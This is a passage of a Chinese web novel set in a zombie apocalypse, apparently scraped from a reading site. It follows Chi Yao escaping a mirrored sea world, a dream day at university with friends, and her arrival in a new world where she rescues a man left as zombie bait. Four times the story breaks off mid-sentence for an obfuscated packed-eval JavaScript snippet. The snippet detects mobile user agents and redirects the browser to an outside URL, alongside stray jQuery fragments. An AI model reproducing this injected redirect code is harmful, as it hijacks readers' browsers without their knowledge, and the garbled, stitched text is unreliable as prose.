当她看向陈佑时,陈佑也微微抬起头,似乎是在打量她,他依旧遮挡着脸,池遥连他的下巴都看不见。 “陈佑,我想问你一件事。” 她主动开口。 “我记得你的楼层似乎有窗户?如果是这样的话,我可以去看一下吗?” “有窗户。”陈佑的话依然少得可怜,“我带你去。” 池遥点点头,落后他身后两个身位,跟随着陈佑来到了地下负二层。 因为许赫的告诫,池遥对陈佑十分警戒,又担心他看出来,只能别别扭扭地绷紧身体,装作自己是个紧张的社恐人士。 负二层与池遥的楼层构造一模一样,而所谓的“窗户”,也只是在接近天花板的墙面上有一扇巴掌大的玻璃,因为位置太高,什么都看不见。 池遥抬起头,试图看清玻璃外的景象,但却只能看到一片混沌的蓝色。 “原来是这样的窗户,谢谢你,那我就......” 池遥转过身,面对着陈佑,开口道别,说到一半,话语却接然而止。 在她说话的时候,陈佑上前一步,冰凉的手指攥紧了池遥的手指。 许赫的话谨记在心,在感受到对方的触碰的瞬间,池遥就闭紧了嘴,与此同时,与对方接触的指尖轻轻一动,发动了她二次觉醒以来很少使用的新能力。 【抽取生机:能够通过接触抽取其他生物的生机存储使用,但一次最多只能存一个个体的生机。注:存储时间为12小时。】 池遥还不能完全控制抽取生机的能力,出手的力道稍微重了些,转瞬之间,陈佑就倒在了她面前。 池遥立刻收了手,但短短不到一秒的时间,她几乎抽取了陈佑身体大半的生命力,幸好对方是个生命力充沛的变形人,若是个普通人或者体能弱一些的天赋者,可能会当场身亡。 池遥站在原地,感受了一下抽取到的生命力被存储起来,与自己的能力融合,过了几秒,才蹲下身,掀开遮挡着陈佑面目的兜帽。 与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473658|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池遥想象中的不同,她在末日之后见到的大部分变形人都完美适配“行尸”这个名字,它们长得与丧尸真的没什么差别,但陈佑却不同,他的面目完全没有呈现出腐烂的状态,但也透着明显的诡异感。 他的五官不丑,脸色很白,是类似于石灰或者石膏的灰白色,整张脸犹如美术馆展出的石膏像,皮肤表面有众多裂纹,蜿蜒不一地爬满整张脸,脖子以下的皮肤也满是裂缝,看起来像皲裂的墙皮。 他被池遥掀开帽子却无力反抗,连动弹一下都是徒劳,只有一双眼睛当中满是惊异的情绪。 “果然是变形人。” 池遥自顾自念叨一句,见陈佑的目光不停在她怀中的绒绒和她的脸上打转,立刻明白了他心中所想。 从进入景点的第一天开始,池遥就没有隐藏过绒绒的存在,走到哪里带到哪里,这只小猫又和她住在一间房间,不知道彼此能力的情况下,很多能力者会通过习惯来猜测其他人的能力,陈佑大概率是认为绒绒是她的能力具象化。 看过陈佑的真面目,池遥又上前一步,把他挡脸的兜帽复原。 “我不在乎你的真实身份,对你也没有恶意,但请你也不要对我出手。” 说完,她转身离开。 池遥抽取了太多生命力,估计陈佑至少要等到夜里才能恢复行动,短期内不会对她造成威胁了,而她现在更急于确认的则是另一件事。 齐航的楼层在二楼,池遥在一楼楼梯口把他叫了下来,同样听到声音下楼的还有张毓。 “齐航,可以跟我出去一趟吗?” 齐航的游泳能力应该是在场所有人当中最好的了,池遥把他张毓带到长廊尽头,指着脚下的海面,将自己对两个世界的分析说给了二人听。 如果两个世界真的是以一条轴线为对称轴,也可以说是镜面的两个完全相同,彼此对称的世界,那么最有可能的对称轴或者镜面就是他们脚下一望无际的大海。 “齐航,你可以尽可能下潜吗?我想试试看我的猜测会不会成真。” 池遥问他。 “我虽然可以不停下潜,但没有设备,下潜到一定深度之后,朝海面上浮也需要时间。”齐航面露难色。 “我的能力可以瞬间把丝线重制成布料。”张毓递给齐航一根棉线,“你把这条线绑在腰间下潜,我们在岸上放线,一旦你超过十秒没有动作,就立刻把线变成布料收回来,这样可以在瞬间把你拉回来。” 池遥在旁边跟着点头。 “有水压吧,这样虽然可行,但我可能会受重伤。” “我的能力是治愈。”池遥在旁边帮腔,“只要你还剩一口气,我就能把你治好。” 齐航深深地看了池遥和张毓二人一眼,叹了口气。 “仅此一次啊,我以前憋气时间最长可以达到两分钟,一到两分钟,立刻把我拉上来。” 他语气不情不愿,动作却格外干练迅速,将张毓的棉线在腰间系紧,深吸一口气跳进海里,露出头看了池遥一眼,扭头下潜。 张毓在池遥身边放线,池遥则盯着海面在心中倒计时,两分钟一到,张毓立刻发动能力,手中的线迅速收紧,像钓鱼一样把男主齐航钓了起来! 而齐航的身影一出现,池遥立刻握住他的手,把刚才从陈佑处抽取的生命力全部灌注到他身上,他伤得很重,因为水下压强快速变化,虽然看起来没事,但内脏受损不容小觑。 身体痊愈后,半晌,齐航才缓过神来,深深吸了一口气,看着池遥的目光中却有着兴奋的神采。 “池遥,你猜对了。” 66. 虚假与真实8 “海底远没有看起来那么深,我下潜没多久,就感觉到触碰到了一层屏障,有一层看不到,摸得到的屏障把我隔开了。” 池遥的推测没错,真实与虚假完全对立,而对立的分界线就是位于海底的屏障。 也就是说,只要他们想办法打破屏障,让一个世界的物体翻转过去,进入另一个世界,两个世界的物体对调,自然就破除了这个世界的固有规则。 “我们可以试试把我们居住的高塔翻转过来吗?” 张毓问池遥,池遥立刻明白了她的意思。 海上总共就两个大型建筑,之前居住的伞状建筑已经被海水淹没,他们只剩下高塔这一个选择。 “我们前几天住的建筑每晚会旋转上升,露出水面,我们可以趁着夜里把我的线拧成的麻绳套在建筑上,另一端套在塔顶。等建筑下降时,它旋转下降的力度会拉动高塔翻倒,我趁这个时候再次收紧绳子,应该能做到吧?” 池遥点点头,张毓的想法堪称完美。 “但是真的能拉动高塔吗?”她有些犹豫,“那可是一座塔啊。” 闻言,张毓也不说话了,三人沿着长廊回程,到高塔一楼时,张毓忽然一拍手。 “我去问问小姨。” 张凝住在四楼,池遥和齐航要去五楼看看高塔塔顶的情况,顺路跟着张毓一起去找张凝。 “如果我发动能力的话,应该能做到。” 听完三人的话,张凝点点头,告诉池遥和齐航她的能力。 “我的能力说起来比较复杂,我可以把一些固有的影响扩大,比如让房间灯光亮度扩大几倍,让患者的伤势严重几倍,但不能让高塔的高度升高几倍,也不能扩大海域面积。” 池遥点点头,她似乎有些明白了。 “按照你们的计划,我确实能够帮上忙,我可以让毓毓的线产生的拉力扩大十倍。” “但是你们要怎么把绳子套在塔顶上?” 一个问题解决,又一个新的问题产生。 这时,池遥怀里传来一个闷闷的叫声。 “喵!” “我的猫可以做到。” 池遥立刻把被她塞进外套里的小猫咪拎出来,献宝似地举高到头顶。 绒绒叼着麻绳一端,小小的身影轻巧跃上了塔顶,小小的影子被塔尖挡住,消失了几分钟,等它再度出现在众人视线中时,麻绳一端已经被牢牢套在高塔塔顶了。 各种准备工作做完,已经接近十点,虽然不知道在高塔内是否还需要遵从之前的规则,大家还是默契地各自回到了房间。 池遥早早躺在床上,在手腕上圆环显示的时间跳到晚上十点整,而她依旧没有任何困意时,就知道,高塔内不再实行伞状建筑中的规矩,也没有像之前的房间里的催眠设备了。 她松了一口气,精神松懈下来后自然而然进入了梦乡。 回答过负责人的问题后,睡了没一会儿,池遥被高塔外响彻整个海面的巨大铃声吵醒。 为了让大家能在夜里准时醒来,池遥在连接着海上长廊和伞状建筑的麻绳上串了几十个小铃铛,等到夜里伞状建筑上升,紧绷的麻绳变松,这些小铃铛就会跟随着麻绳的变化发出清脆的响声。 张凝使用了能力,让这些小铃铛响起来的音量放大十倍,此时简直是魔音贯耳。 池遥翻身从床上坐起来,抱起绒绒,下了一楼。 高塔上的所有人全部被吵醒,很快,包括陈佑在内的所有人都聚集在了一楼,陈佑身为变形人,身体恢复能力十分强悍,已经能够自由行动了。 池遥向许赫和陈佑简要说明了他们的计划,六人一同出发,来到长廊尽头,先是让张凝取消了施加在铃铛上的能力效果。 紧接着,张毓将连接着高塔塔顶的麻绳另一端系在腰间,割断了连接着伞状建筑与长廊的一根麻绳,利用能力将手里的绳子收紧,瞬间就到达了伞状建筑的外墙。 她取下腰间的绳子,套住伞状建筑的房间,将伞状建筑和高塔连接在一起后,又顺着连接长廊的绳子滑了回来。 紧接着,就是等待天亮的漫长时间。 为了帮助高塔更快翻转,六人全部聚在了高塔的顶层,也就是张毓的房间,透过房间的小窗户观察远处伞状建筑的动静。 早晨五点,伞状建筑终于动了。 原本像伞面一般展开的房间逐渐下落,速度很快,一两分钟就会恢复原状。 就在这个瞬间,张毓立刻发动能力,连接着白色建筑和高塔的麻绳顿时收紧,结成一张大网。 几人站在最高层,伴随着张毓的动作,高塔猛地一晃! 张凝紧随其后,同样发动能力,这下,几人同时听到头顶传来了一声巨响。 高塔终于被拉动,缓慢倾斜。 池遥穿了好几层外套,把小猫裹得严严实实,蹲坐在角落里。她能明显感觉到,起初,高塔只是被带动着慢慢倾斜,然而,一旦过了倾斜的临界点,它就以极快的速度朝着海面倒翻而下! 塔内的众人也跟随高塔一同迅速下坠。 池遥抱紧了绒绒,闭紧了眼睛。 耳廓是呼啸的风声与水声,然而身体却没有沉入海中的实感,过了好久,她心有余悸地睁开眼睛。 眼前已经不再是狭窄的空间,灯火辉煌的检票大厅里,她怀抱着绒绒,正坐在长椅上,身边是同样一脸惊愕的齐航。 张凝,张毓,许赫,陈佑都坐在一旁的长椅上,唯有常东的位置空了出来。 池遥又低下头检查自己,她还穿着刚到香林山时的羽绒服,颈部的吊坠和手腕上的智能手表也都在。 “恭喜大家,成功打卡香林山景点!” 负责人站在大家面前,露出满意的笑容。 “打卡景点后,这个景区将对你们永久开放,如果你们未来回到这个世界,依旧可以从香林山景点快速去往丧尸围城世界。” “鉴于这里的大多数都是新手旅人,我给大家讲解一下,在通过第一个景点后,各位脑海中关于能力的区域中会自动生成一本护照,这本护照会记录大家踏足过的所有小世界。之后大家每次在脑海中回想能力时,都会看到这一本护照。护照永久存在于各位的意识当中。一旦成功打卡景点并确定前往下一个世界,护照中会自动生成一个印章,这个印章就是各位打卡景点的证明。” “那么各位,大家都是确定要去丧尸围城世界的旅人吧。” 众人齐齐点头。 “还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16481985|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打卡景点后选择不去下一个世界的人吗?” 张毓开口问道。 “每个景点的难易程度不同,如果打卡景点后选择放弃印章,我们会发放道具补偿。也有一些旅人会通过这种方式囤积道具。” 池遥集中意识,搜寻脑海中的能力介绍,果然发现了一本护照,打开护照,护照第一页是她的个人资料,左侧是一个一寸照片格子,格子里会实时显示出她的脸,像一个小镜子。而照片格旁边则是她的基本信息。 姓名:池遥 性别:女 身份:旅人 种族:能力者——觉醒者 出生地:丧尸国度 成功打卡景点数:1 护照上大大的觉醒者三字让池遥不由地紧张起来,又庆幸这本护照只存在于意识中,不会实体化,自己的觉醒者身份不会因此暴露。 翻到第二页,写着四个大字——丧尸国度。在四个字正下方是一个小山形状的印章,细看才发现是香林山的缩略小图,下方是一行行楷小字:香林山景区打卡成功。 原来她生活十九年的这个世界,被称为丧尸国度。 “那么,想立刻去往丧尸围城的旅客,请跟我来。景点为所有打卡成功的旅人提供住宿和观光服务,如果不着急出发也可以在这里多留几天。” 负责人话音刚落,陈佑就站起身来,许赫也跟着起身,朝池遥轻轻挥了挥手。 你真的不后悔? 池遥没有出声,用唇语问他。 没事。 许赫只是冲她笑了笑,快走几步,追上陈佑,之后再也没有回过头。 二人分别通过检票闸机,消失在了其他人眼前。 紧接着,张凝和张毓,还有齐航也相继出发,大厅此时只剩下了池遥,还有绒绒。 只剩下自己了,池遥深吸一口气,将绒绒抱到身旁的座椅上,独自走到负责人面前。 “我在找一个人,她叫曲卓,请问你见过她吗?” 她递出自己在卓越新区复印出的寻人启事,放在了检票闸机前的平台上。 负责人低下头,端详着寻人启事上的照片,冲池遥露出一个明朗的微笑。 “几个月前,她成功打卡了香林山景点,去了下一个世界。祝你在丧尸围城世界找到你的朋友。” 得到了确切的消息,池遥终于松了口气,也跟着一同笑了起来。 “谢谢你的祝福,那我出发了。” 最后,池遥回过头,绒绒乖乖地坐在长椅上,圆溜溜的眼珠正定定地看着她。 “再见呀!” 她朝小猫招了招手,在负责人的指引下,步伐坚定地迈入检票闸机中。 池遥的身影很快消失在检票大厅里,负责人松了一口气,扭过头,朝着长椅上的小猫笑着开口。 “那么,这位旅客,您也准备出发吗?” 明亮的灯光之下,地面上毛茸茸的一团阴影转瞬间变成了一个人的形状。 池遥放在平台上的寻人启事忘了拿走,此时,一只白皙而有力的手轻轻拿起了那张寻人启事。 很快,薄薄纸页被整齐的叠好,收了起来。 检票大厅里最后一人也消失在了闸机尽头。 67. 普通大学生的一天 “所以我们真是来跑步的啊?” 北城的江堤是有名的旅游景区,但也是本地人散步踏青的好去处,即便是在人群熙攘的江堤上,也有一个悲愤的声音极为突出。 “是啊,我不是发消息说了吗,暑假第一天锻炼身体。”曲卓的语气颇为无奈。 “我以为你是随便说说!”池遥悔不当初,“谁会到江堤边跑步啊?” 话音刚落,两个年过半百,穿着速干衣,身形矫健的奶奶轻轻松松越过她们,朝着前方跑去。 “这不都是跑步的。”曲卓一摊手,很无辜的样子。 池遥低下头,撅着嘴打量自己,觉得自己蠢透了。 她和曲卓线上聊天十分频繁,话题也非常跳跃,想到什么聊什么,曲卓约她去江边跑步的时候,两人刚好聊到了前几天拍的照片不够出片,下次要打扮得美美的,找个景色宜人的地方多拍点照片装点朋友圈。 初夏的江边已经是北城数一数二景色宜人的好地方了。 景色因素有了,人也不能落下,池遥因此穿了自己几天前刚买的细肩带法式碎花连衣裙,还精心做了妆发。 结果曲卓穿了一套运动服,素面朝天,和她每天在宿舍起床的样子毫无区别! 这就显得池遥很尴尬了呀! 她低头看看自己到膝盖的裙摆,又看看她精心搭配的低跟凉鞋,以及曲卓的运动套装。 “那我打扮得这么好看的意义在哪儿呢?” “呃......”曲卓沉默了一会儿,“要是碰到帅哥你去帮我要微信?” “我吗?”池遥指指自己,“有点自知之明吧,你就算穿运动服也超级无敌爆炸美丽啊曲卓!” 池遥的低跟凉鞋实在不适合跑步,两人说说笑笑,手拉着手沿着江堤散步。 “小宁和然然回家了吗?” “没有呢,说是要留两天去北城的景区旅游,说不定她们俩现在也在江边呢!” 听了曲卓的话,池遥点点头,眼睛习惯性四处搜索了一圈,赵一宁和孟然的身影没看到,倒是看到了其他熟人。 “郑承!” 她喊了一声,远处扶着栏杆眺望江面的男生闻言回过头来,冲她们挥手。 “这是咱学校的学长郑承!” 池遥一边向曲卓介绍,一边拼命朝郑承挥手。 “郑承,你怎么来江边了?” “和我们专业的几个朋友约好一起看电影,他们还没到呢。” 郑承看向池遥身旁的曲卓,目光似乎极为好奇地停留在曲卓脸上。 “这就是你最好的朋友曲卓?” “对!”池遥猛晃和曲卓拉着的手,“人超级好长得也好看完美无瑕的大美女!我有这么优秀的闺蜜你就羡慕吧!” 池遥的语气太骄傲了,郑承忍不住跟着一起笑出声。 “好,我羡慕得不得了。你们一会儿要是看到我们专业那些人记得告诉他们我在这里等他们。” “好嘞!事情交给我你就操心吧!”池遥一口答应下来。 二人继续向前走,没过一会儿,池遥和曲卓就路过了一对坐在长椅上接吻的情侣。 “现在的小情侣啊.....”池遥轻声趴在曲卓耳边抱怨,话说到一半,已经分开的情侣齐齐看向了她。 “池遥?” “啊?” 这两人分开后,池遥看到了两张熟悉的脸,或许是被熟人目睹接吻场景,小情侣很不好意思,尤其是男生害羞得脖子都红了。 “好久不见呀池遥!”吴心语从容地对她打招呼,“还有曲卓也是!初次见面!之前总听池遥说起你,总算见到本尊啦!” “这也是咱们学校的吴心语和周文博,周文博是郑承的舍友。”池遥冲曲卓介绍面前的小情侣,语气带着好奇。 “原来你们是一对儿啊!我完全不知道!” “刚在一起没几天呢,你是第一个知道的!”吴心语抬手,在嘴边做了一个拉拉链的动作,池遥会意,疯狂点头。 “哦对了,你们是不是要和郑承看电影来着?”她忽然想起郑承的话,“郑承已经到了,在等你们呢!” “才几点啊他就到了?”周文博不满地念叨,打开手机一看,“我的天怎么都这个点了?要迟到了啊啊啊啊!” 他像根弹簧般弹起来,朝着池遥等人挥挥手就跑走了。 “心语,你不去吗?” “我不是和郑承他们看电影的。”吴心语朝池遥摆摆手,“我是和庄晴约在江边见面的,她刚回国,说是交了个新男友,我可太不信任她的眼光了,这次必须第一时间去给她把把关。” 庄晴的糟糕眼光池遥也有所耳闻,顿时对吴心语露出了感同身受的表情。 “我和庄晴就约在前面见面,你们一会儿看到庄晴的话记得告诉她一声我马上过去!” 吴心语掏出小镜子和口红,对着镜子补妆,刚刚接吻时她的口红被蹭掉了一大半。 那周文博岂不是顶着一张血盆大口去找郑承的? 一想到这个场景,池遥就忍不住发笑,她和曲卓告别吴心语,继续向前走去。 再走几步,有一段直通江水边的台阶,北城有名的大爷跳水队每天就在这里练习跳水,成为了一道特别的风景线,吸引了不少游客。 这段阶梯对游客而言还是比较危险的,何况最近处于涨水区,除了大爷们出入的区域,下台阶的通道被几块路障挡住,还有不少身披绶带的志愿者们在工作。 一群年长的志愿者中有两张年轻的面孔,与池遥对视时,立刻露出了笑容。 “是211寝室的!她们叫什么来着?”这两人曲卓有印象。 “孔欣和周琳琳。”池遥回答道。 路过两人身旁时,池遥眼疾手快,在二人手心里各塞了一颗薄荷糖。 不远处的长椅边,坐着一个肩宽腿长,长相更是清秀漂亮的小帅哥,池遥和曲卓二人一眼就看到了他,帅哥身旁还坐着一个背着名牌包包的年轻女士,看不清脸。 又走了几步,二人才看清,这位浑身大牌,贵气十足的年轻女孩长相更是明媚大气,和男生十分般配。 “庄晴!”池遥兴奋地喊出了对方的名字。 “池遥,今天打扮得这么好看呀?”庄晴笑眯眯地冲池遥打招呼,“还有曲卓,以前听池遥提过你!” “好看吧!”总算遇到一个夸她穿搭的了,池遥立刻原地转了一圈,给庄晴看她飘起来的裙摆,随后凑过去,“晴晴姐,这是你的新男友吗?刚才遇到吴心语,她跟我说的。” “对啊,”庄晴点点头,“我新男朋友西蒙,是个糊咖爱豆,长得好看吧?” “超级帅!”池遥和曲卓齐齐点头。 “庄晴!”远处传来了吴心语的声音,她加快速度跑过来,一屁股坐在庄晴身边。 “这是新男友?我的天这么帅!” “是啊,这种长得帅的每天看着就赏心悦目。我之前在国外的时候有个男生追我,对我百依百顺,但我实在接受不了长得不好看的。” 庄晴打开手机,给几人看一张十几人的大合照,挑挑拣拣,找到一个站最后一排,个子很高,长相很大众的男生,“就是这个,付恒,我立刻就拒绝了。” “干得好!” 吴心语在一旁抱了庄晴一下。 “哦对,还没跟你说,我家西蒙是个糊咖爱豆,舞龄十七年,跳舞可好看了!”庄晴谈起男朋友的语气像是在市场上挑选大白菜,说到兴头上,还拍拍男友的大腿,“正好,我说也不是个事儿啊,你跳一段给我朋友们看看,池遥你俩坐到对面看。” 池遥点点头,拉着曲卓坐在对面的长椅上,江堤边路人还挺多的,庄晴的要求或许有点过分了。 “姐姐,这里人有点多了。” 庄晴男友的声音质感很冷,但对着庄晴说话的语气却很软。 “好不容易朋友都在。”庄晴抬头,用下巴向前指指,态度强硬不容拒绝。 于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487047|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,庄晴男友就站起身来,他穿一件垂感很好的丝质衬衫,跳起舞来赏心悦目,隐约能看到八块腹肌。 “真好啊,真好。” 看完即兴舞蹈表演,池遥还没回神,语无伦次,干巴巴地鼓掌。 “真棒。”庄晴同样表扬了一番,她勾勾手指,男生就主动凑上去,闭着眼睛乖乖等待奖励,像只听话的小狗。庄晴则侧过头,在男友脸上留下一个唇印。 一旁突然响起了一阵掌声,刚刚西蒙跳舞的时候,周围围了一圈人看热闹,此时围观群众纷纷离开,只剩下了一个背着巨大登山包,身形高挑的女人笑着鼓掌。 池遥循声看去,惊讶地发现这位也是熟人。 “真巧!居然能在这里见到!”看到她,庄晴和吴心语都露出了欣喜的笑容。 “茵茵姐!” 文茵似乎是有其他工作,路过江堤边的,只和几人寒暄了几句,没有多说就离开了。 而池遥和曲卓也不想打扰庄晴和吴心语的闺蜜聚会,继续向前走去。 再往前走,就到了江畔公园,公园里似乎在举行什么活动,有很多人围观,池遥拉着曲卓吃力地挤进人群里,惊讶地看到一个新闻记者模样的人在采访一个穿休闲工装套装的潮男帅哥。 “这是什么情况?” 池遥和曲卓都摸不清情况,这个人她们俩都认识,是隔壁工程大学的温俭。 “今天是一个省级跑酷比赛的决赛,他是冠军,现在大家都在采访他呢。”一旁又传来一个熟悉的声音,池遥扭过头,正看到林晟在整理无人机,手指修长好看。 “啊......”温俭从头到脚都是个酷哥潮男,他得冠军不意外,池遥此时更意外的反倒是林晟的出现,“你怎么在这儿?” “我在这里帮忙拍摄无人机画面。”林晟指指自己的无人机,“冠军也还好吧,我的无人机也是省级比赛殿军啊!” “总共不到十个人参赛,你得第四,到底有什么好炫耀的?”程煜在不远处慢悠悠呛了一句,冲池遥挥挥手。 另一边,温俭也注意到了池遥二人,由于正在采访,只能对她们挑了挑眉。 池遥沉默了一下,默默后退几步,她要得潮人恐惧症了。 告别了几人,二人继续向前。 “不知不觉,你已经认识这么多朋友了。”曲卓忽然开口。 “是吗?”池遥很想反驳,她的交际圈子很窄,只是今天认识的所有熟人都在江边而已。 “是啊,你好像在我不知道的时候变得更开朗了,而且也有更多朋友了,这是好事。” “不是这样的。”池遥摇摇头,看向曲卓的脸,神色严肃了几分。 “你是我最好的朋友啊,曲卓。我是因为和你在一起,才变得开朗的。” 远处,碧蓝的天空格外澄澈。 江水一波接一波的冲刷着堤岸,它的波浪并不是线型的,而是像一个个小山峰一样,随着风向在水面上平移。 不远处,有两个同样在看江水的女人。 一个在小声抱怨。 “怎么办啊白晓,我交的这个新男友又不回我消息了,他平时就不太靠谱,我有点担心......” “踹了他,我养你。” 另一个高个子女人伸出手臂,豪迈地揽住了好友的肩膀。 远处,有一群穿着高中校服的孩子也在沿着江堤漫步。 “蔓蔓,明天还有考试,我们考完今天的考试就来江边玩这样真的好吗?”一个大眼睛的女孩有些担心地攥紧了身旁女生的袖子。 “这有什么的?少学习一下午会让我们明天的成绩多几分吗?不会的,只会让我们后悔今天下午为什么不来江边玩!” 蔓蔓大声说。 身后几个穿着高中校服的女生一同笑起来,追上蔓蔓,把她抱紧。 初夏的北城气候温暖又不炎热,江边的微风很凉爽,沁人心脾。 这就是池遥——北城大学普通大学生的一天。 68. 隐山秘闻1 梦境总是幸福的。 从美好得不可思议的梦中醒来,池遥在心里轻叹口气,小心翼翼观察身边的环境。 天色一片漆黑,浓重夜幕之下,是一条废弃许久的高速公路,公路上满是被撞翻的车子,车身周围和地上都有大片陈旧血迹,这里很久前似乎发生过严重事故。只有一条只供一辆车穿行的小路被开辟出来,隐约能听到车子的轰鸣。 池遥摸索着站起身,周围没有丧尸的声音,她从空间吊坠中抽出自己的钢管,顺势检查了一遍吊坠中的物品。 各种书籍,香水,香薰蜡烛,桌游棋牌,小型乐器,以及绒绒用过的宠物用品等等没用的东西一应俱全,简直可以开小卖部了。 还有纸笔和各种小物件,寻人启事,一台小型打印机和几张椅子,卫生巾。 还有池遥从宿舍打包的一大堆行李物品,她的各种电子设备,衣服,被褥,以及曲卓的明星台历。 仔细清点一番后,池遥发现吊坠中的食物只剩下一包方便面,和两瓶从景点内带出来的矿泉水,空间内还有打火机和铁锅,随时可以生火做饭,但眼下的食物储备实在太少,急需补充。 循着前方汽车发动机的响声,池遥放轻脚步,沿着公路一路前行,没走多远,就听到了前方传来车辆引擎的声音,似乎是刹车的声响。她急忙躲在一辆车后面,仔细听远处的动静。 在她前面不远处,是一辆黑色商务车,车子停下来后,率先走出来的是一个个头不高,头发花白的中年人,紧随其后下车的几人均一身黑衣,动作利落,训练有素地护在中年人周围,一看就不是等闲之辈。而最后一个下车的则是一位穿着浅灰色西装,打领带的年轻人,看起来还不到三十岁,看着中年人的目光有些狐疑。 “翁老,这么晚了,您带我来这里讨论事情,是什么意思?” “小林呐,你这人确实不错,能力不弱,又踏实肯干,是个好苗子,可惜,就是性格太轴。” 老人深深叹了一口气,一副语重心长的模样。 “我是什么样的人,似乎不需要翁老来评判。”被称为小林的年轻人警惕抬手,随时准备发动能力。 而老人周围的一圈黑衣保镖立刻有了动作,齐齐围在老人前方,隔开了老人和年轻人之间的距离,双方剑拔弩张。 “动手。” 老人的命令一出,几位黑衣保镖向年轻人飞扑而去,池遥以为会看到一场能力对战,却发现这几个主动出手的保镖动作整齐划一,身姿矫健,拳拳有力,看起来身手不输末日前的打斗电影,唯一不足之处就是没有使用能力。 见到齐齐围攻他的保镖们,小林冷笑一声,神色不变,抬手习惯性地想使用能力,陡然间意识到什么,动作却突然一顿,就在他停顿的瞬间,几位保镖飞身而上,不同的武器贯穿了他身体好几处。 在暗处观察的池遥蹙起眉头,她不明白,为什么小林那一瞬间没用出能力。 还是,他的能力肉眼不可见? 又或者是其他的原因? 这么想着,池遥轻轻弯曲起手指,习惯性施展自己的能力,能够动用能力治疗自己后,她时不时就会对自己使用能力。却忽然发现,自己的能力用不了了。 这种感觉与在殷蘅的梦境中时不同,那时她感觉自己完全变回了普通人的状态,不光失去了能力,成为能力者后经过强化的身体素质也退化成普通人程度。而此时,她能感受到潜藏在掌心的热流,能力客观存在,却无法施展能力,仿佛冥冥中有什么东西介入,堵塞了她的能力。 这下,池遥终于明白了远处的小林为什么停顿。 “你用了屏蔽仪?” 在小林声嘶力竭的怒吼中,老人露出一抹不易察觉的笑容。 “打晕他。” 黑衣人们照做,紧接着,老人将一个罐头形状的物体交给黑衣人。 “把屏蔽仪放到他的衣服里,然后在旁边洒好饵料,不要直接杀死他,让在此游荡的丧尸把他吃掉,这样就算基地发现了他的尸体,也找不到凶手。” 基地。 池遥敏锐地捕捉到了这两个字。 看来这个世界的构造和她的故乡非常相似,都存在丧尸,也都建立了不同基地。 只不过,这个世界的科技发展似乎远远强于她的世界,或许末日到来的时间也更早。无论是屏蔽仪还是吸引丧尸的饵料,都是池遥从未听说过的。 没过一会儿,老人拿出对讲机,似乎在和什么人沟通,他压低了声音,池遥一时间听不清他的话,只看到他带着黑衣人们上了车,很快,商务车朝着远方开走了。 直到车辆开远,逐渐消失在视野之中,池遥才缓慢走近,倒在地上的人浑身上下到处都是伤痕,鲜血淋漓,呼吸很微弱,池遥先是把他衣服里的屏蔽仪找出来,屏蔽仪看起来只是一个易拉罐子,池遥翻了一圈,没看到开关,晃了晃,只觉得里面似乎有浓稠的液体,像是固液体混合物,不太晃得动,又能听出隐约的水声。 有屏蔽仪在,她没办法调动能力救人,又不想丢掉屏蔽仪,这个东西她没见过,还想留下来研究一下。若不是发现地上的饵料是液体,无法收集,她很想把饵料也一起拿走。 犹豫片刻,池遥将屏蔽仪扔进吊坠中,用力把重伤昏迷的人扛到肩上,若不是觉醒后身体素质强化,她完全扛不起这么重的一个人,现在她虽然有些吃力,却也能做到了。 远处已经隐隐有丧尸的嚎叫声响起,在丧尸被饵料吸引到来之前,她要尽可能走远一点。 扛着小林,池遥朝着自己来时的公路上走,每路过一辆车就伸手尝试拉车门,试了将近十辆车之后,终于有一辆车的后座车门没锁,池遥将奄奄一息的小林丢进去,自己关紧门,再次探了探他的鼻息。 还好,他还活着。 把屏蔽仪丢进吊坠中后,池遥的能力就解禁了,她尝试对自己使用了一次能力,确定能力可用后,握住了青年的手。 因不知道对方的底细,池遥只简单治疗了他身上几处致命伤,剩下的伤口统统没动,治疗完毕后,就坐在一边,等他醒来。 他们刚刚离开的位置,此时传来一阵阵丧尸的吼叫声,池遥发现这里的丧尸的吼声听起来比故乡的要更加恐怖,而且不止一种,此处的丧尸恐怕要比故乡的更难对付。 过了半小时,身旁的男人才醒,池遥侧过头,坦然地与对方对视。对方的神色并不慌乱,目光只迅速打量了一下周围环境,就再次回落到对面的池遥身上。 “我刚刚路过这里,看到你受伤就把你救起来了。” 池遥有意隐去自己看到的内容,牵扯到他们口中的基地,翁老和这个小林之间的关系可能很复杂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 